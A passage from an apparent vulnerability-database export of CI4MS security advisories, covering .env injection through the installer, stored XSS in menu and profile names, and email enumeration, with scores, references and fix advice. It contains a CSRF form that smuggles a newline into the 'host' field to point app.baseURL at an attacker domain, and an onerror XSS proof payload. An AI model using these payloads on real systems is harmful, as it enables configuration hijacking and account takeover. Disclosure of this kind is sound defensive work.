app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandler
```

These injected lines override the legitimate `app.baseURL` set earlier (CI4's DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.

**CSRF exploitation variant** (no direct access needed):

```html
<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
  <input name="baseUrl" value="http://target/">
  <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'">
  <!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>
```

## Impact

An unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:

- **Application URL hijacking** — injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure
- **Security downgrade** — disabling `forceGlobalSecureRequests`, CSP, or other security settings
- **Session manipulation** — changing session driver or save path configuration
- **Full application reconfiguration** — the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)
- **Database redirect** — while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior

The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.

## Recommended Fix

1. **Add validation for the `host` parameter** — reject newlines and restrict to valid hostnames/IPs:

```php
// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],
```

2. **Sanitize all values in `updateEnvSettings()`** — strip newlines from replacement strings:

```php
private function updateEnvSettings(array $updates)
{
    $envPath = ROOTPATH . '.env';
    if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
    $contents = file_get_contents($envPath);
    foreach ($updates as $key => $value) {
        $value = str_replace(["\r", "\n"], '', (string) $value);  // Strip CRLF
        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
        $replacement = "{$key}={$value}";
        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
        else $contents .= PHP_EOL . $replacement;
    }
    file_put_contents($envPath, $contents);
    return true;
}
```

3. **Add newline validation to `dbpassword`** — add `regex_match[/^[^\r\n]*$/]` to the validation rules.

4. **Strengthen `InstallFilter`** — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39394
reference_id
reference_type
scores
0
value 0.00032
scoring_system epss
scoring_elements 0.09755
published_at 2026-06-08T12:55:00Z
1
value 0.00032
scoring_system epss
scoring_elements 0.09838
published_at 2026-06-07T12:55:00Z
2
value 0.00032
scoring_system epss
scoring_elements 0.09864
published_at 2026-06-06T12:55:00Z
3
value 0.00032
scoring_system epss
scoring_elements 0.09789
published_at 2026-06-09T12:55:00Z
4
value 0.00032
scoring_system epss
scoring_elements 0.09845
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39394
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-08T16:09:11Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39394
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39394
5
reference_url https://github.com/advisories/GHSA-vfhx-5459-qhqh
reference_id GHSA-vfhx-5459-qhqh
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vfhx-5459-qhqh
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-j32w-tcpz-1fak
3
vulnerability VCID-mds3-7xh3-mkgv
4
vulnerability VCID-qrag-mndk-xbb7
5
vulnerability VCID-ux28-acyz-kqd1
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4%252B0
aliases CVE-2026-39394, GHSA-vfhx-5459-qhqh
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-w12h-33nr-bufh
27
url VCID-x3ze-8mnc-p7ak
vulnerability_id VCID-x3ze-8mnc-p7ak
summary
CI4MS: Menu Management (Pages) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary  
### **Vulnerability: Stored DOM XSS via Pages Added to Menu (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsafe Rendering of Page Entries in Menu Management

### Description
The application fails to properly sanitize user-controlled input when **adding Pages to navigation menus** through the Menu Management functionality. Page-related data selected via the Pages section is stored server-side and rendered without proper output encoding.

This stored payload is later rendered unsafely within administrative interfaces and public-facing navigation menus, leading to stored DOM-based cross-site scripting (XSS).

### Affected Functionality
- Menu Management – Pages section
- Adding pages to navigation menus
- Menu storage and rendering logic

### Attack Scenario
- An attacker creates or controls a page containing a malicious JavaScript payload.
- The attacker adds the page to the menu using the **Pages** functionality in Menu Manager.
- The application stores the menu entry without sanitization or encoding.
- The payload persists and executes whenever the menu is rendered in administrative or public-facing interfaces.

### Impact
- Persistent Stored DOM XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles via the navigation menu
- Full compromise of the entire application due to global execution in the navigation menu

**Endpoint:**
- `/backend/menu/`

## Steps To Reproduce (POC)
1. Navigate to the **Menu Management** section of the application.
2. Use the **Pages** functionality to add a page containing an XSS payload such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the menu entry.
4. View the menu in the administrative panel or any public-facing page.
5. Observe the JavaScript payload executing automatically when the menu is rendered.

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.
# Ready Video POC:
https://mega.nz/file/2c8lHSBQ#vwFDj0vhq7vLwMJjBjnAgbHWiIdFqUxAA913H_yQExQ
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34564
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.05058
published_at 2026-06-05T12:55:00Z
1
value 0.00018
scoring_system epss
scoring_elements 0.05035
published_at 2026-06-07T12:55:00Z
2
value 0.00018
scoring_system epss
scoring_elements 0.05043
published_at 2026-06-06T12:55:00Z
3
value 0.00021
scoring_system epss
scoring_elements 0.06105
published_at 2026-06-09T12:55:00Z
4
value 0.00021
scoring_system epss
scoring_elements 0.06082
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34564
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T13:53:15Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-g4pp-fhgf-8653
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T13:53:15Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-g4pp-fhgf-8653
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34564
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34564
5
reference_url https://github.com/advisories/GHSA-g4pp-fhgf-8653
reference_id GHSA-g4pp-fhgf-8653
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-g4pp-fhgf-8653
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34564, GHSA-g4pp-fhgf-8653
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-x3ze-8mnc-p7ak
28
url VCID-y5t2-vxku-muhj
vulnerability_id VCID-y5t2-vxku-muhj
summary
CI4MS Vulnerable to User Email Enumeration via Password Reset Flow
**Summary**

The authentication implementation in CI4MS is vulnerable to email enumeration. An unauthenticated attacker can determine whether an email address is registered in the system by analyzing the application's response during the password reset process.

**Vulnerability Details**

- The password reset flow returns different responses based on whether the provided email address exists in the database or not.
- If the email is registered, the system typically returns a success message (e.g., "Password reset link has been sent").

If the email is not registered, the system returns an error message (e.g., "User not found" or a different HTTP status code).

This discrepancy allows attackers to programmatically "enumerate" or confirm valid user emails, which can then be used for targeted phishing attacks or brute-force attempts.

**Steps to Reproduce**

1. Navigate to the password reset page of the CI4MS installation.
2. Enter an email address that you know is not registered (e.g., nonexistent@example.com) and submit. Note the response message/code.
3. Enter an email address that is registered (e.g., an admin or test account) and submit. Note the different response.
4. The difference between these two responses confirms the enumeration vulnerability.

**Suggested Mitigation**

Implement a uniform, generic response for all password reset requests, regardless of whether the email exists. Recommended message: "If an account is associated with this email address, a password reset link has been sent."
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25509
reference_id
reference_type
scores
0
value 0.00027
scoring_system epss
scoring_elements 0.08048
published_at 2026-06-07T12:55:00Z
1
value 0.00027
scoring_system epss
scoring_elements 0.08018
published_at 2026-06-09T12:55:00Z
2
value 0.00027
scoring_system epss
scoring_elements 0.07998
published_at 2026-06-08T12:55:00Z
3
value 0.00027
scoring_system epss
scoring_elements 0.08065
published_at 2026-06-06T12:55:00Z
4
value 0.00027
scoring_system epss
scoring_elements 0.08052
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25509
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-04T16:30:42Z/
url https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25509
reference_id CVE-2026-25509
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25509
4
reference_url https://github.com/advisories/GHSA-654x-9q7r-g966
reference_id GHSA-654x-9q7r-g966
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-654x-9q7r-g966
5
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-654x-9q7r-g966
reference_id GHSA-654x-9q7r-g966
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-04T16:30:42Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-654x-9q7r-g966
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.28.5%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.28.5%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.28.5%252B0
aliases CVE-2026-25509, GHSA-654x-9q7r-g966
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-y5t2-vxku-muhj
29
url VCID-ye3h-3tu7-p3e7
vulnerability_id VCID-ye3h-3tu7-p3e7
summary
CI4MS: Profile & User Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

### Description
The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Profile name / full name update functionality (both the 2 user inputs)
- User profile storage and retrieval logic

### Attack Scenario
- An attacker updates their profile name to include a malicious XSS payload.
- The application stores this value without sanitization or encoding.
- The payload persists and executes whenever the name is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: `/backend/users/profile/`

### **Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)**
(Required for the chain)
- Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

### Description
User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:
- User management interfaces
- Blog pages
- Other content or UI components displaying usernames

### Attack Scenario
- Attacker injects a malicious payload via the profile name update functionality.
- The payload is stored persistently.
- An administrator views the user management page or any affected interface.
- The payload executes automatically in the admin’s browser.
- Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

### Impact
- Stored XSS
- Administrative privilege escalation
- Full admin account takeover (including other roles)
- Full compromise of the entire application

Endpoint Example: `/backend/users/` of User Management Page

## Steps To Reproduce (POC)
1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one 

### Recommended Remediation

1. **Eliminate Unsafe DOM Sinks:** Remove all usage of `.html()`, `innerHTML`, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as `.text()` or `textContent`, which do not interpret HTML markup.

2. **Implement Output Encoding:** Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., `<`, `>`, `"`, `'`) are rendered as literal text rather than interpreted as executable markup.

3. **Implement Server-Side Input Sanitization:** Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. **Apply Defense in Depth:** Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.
# Ready Video POC:
https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34989
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15923
published_at 2026-06-05T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15808
published_at 2026-06-09T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15785
published_at 2026-06-08T12:55:00Z
3
value 0.0005
scoring_system epss
scoring_elements 0.15872
published_at 2026-06-07T12:55:00Z
4
value 0.0005
scoring_system epss
scoring_elements 0.15912
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34989
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
1
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vr2g-rhm5-q4jr
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-07T15:57:55Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vr2g-rhm5-q4jr
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34989
reference_id
reference_type
scores
0
value 9.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
1
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34989
4
reference_url https://github.com/advisories/GHSA-vr2g-rhm5-q4jr
reference_id GHSA-vr2g-rhm5-q4jr
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vr2g-rhm5-q4jr
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@31.0.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@31.0.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@31.0.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@31.0.0%252B0
aliases CVE-2026-34989, GHSA-vr2g-rhm5-q4jr
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ye3h-3tu7-p3e7
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.25.1.0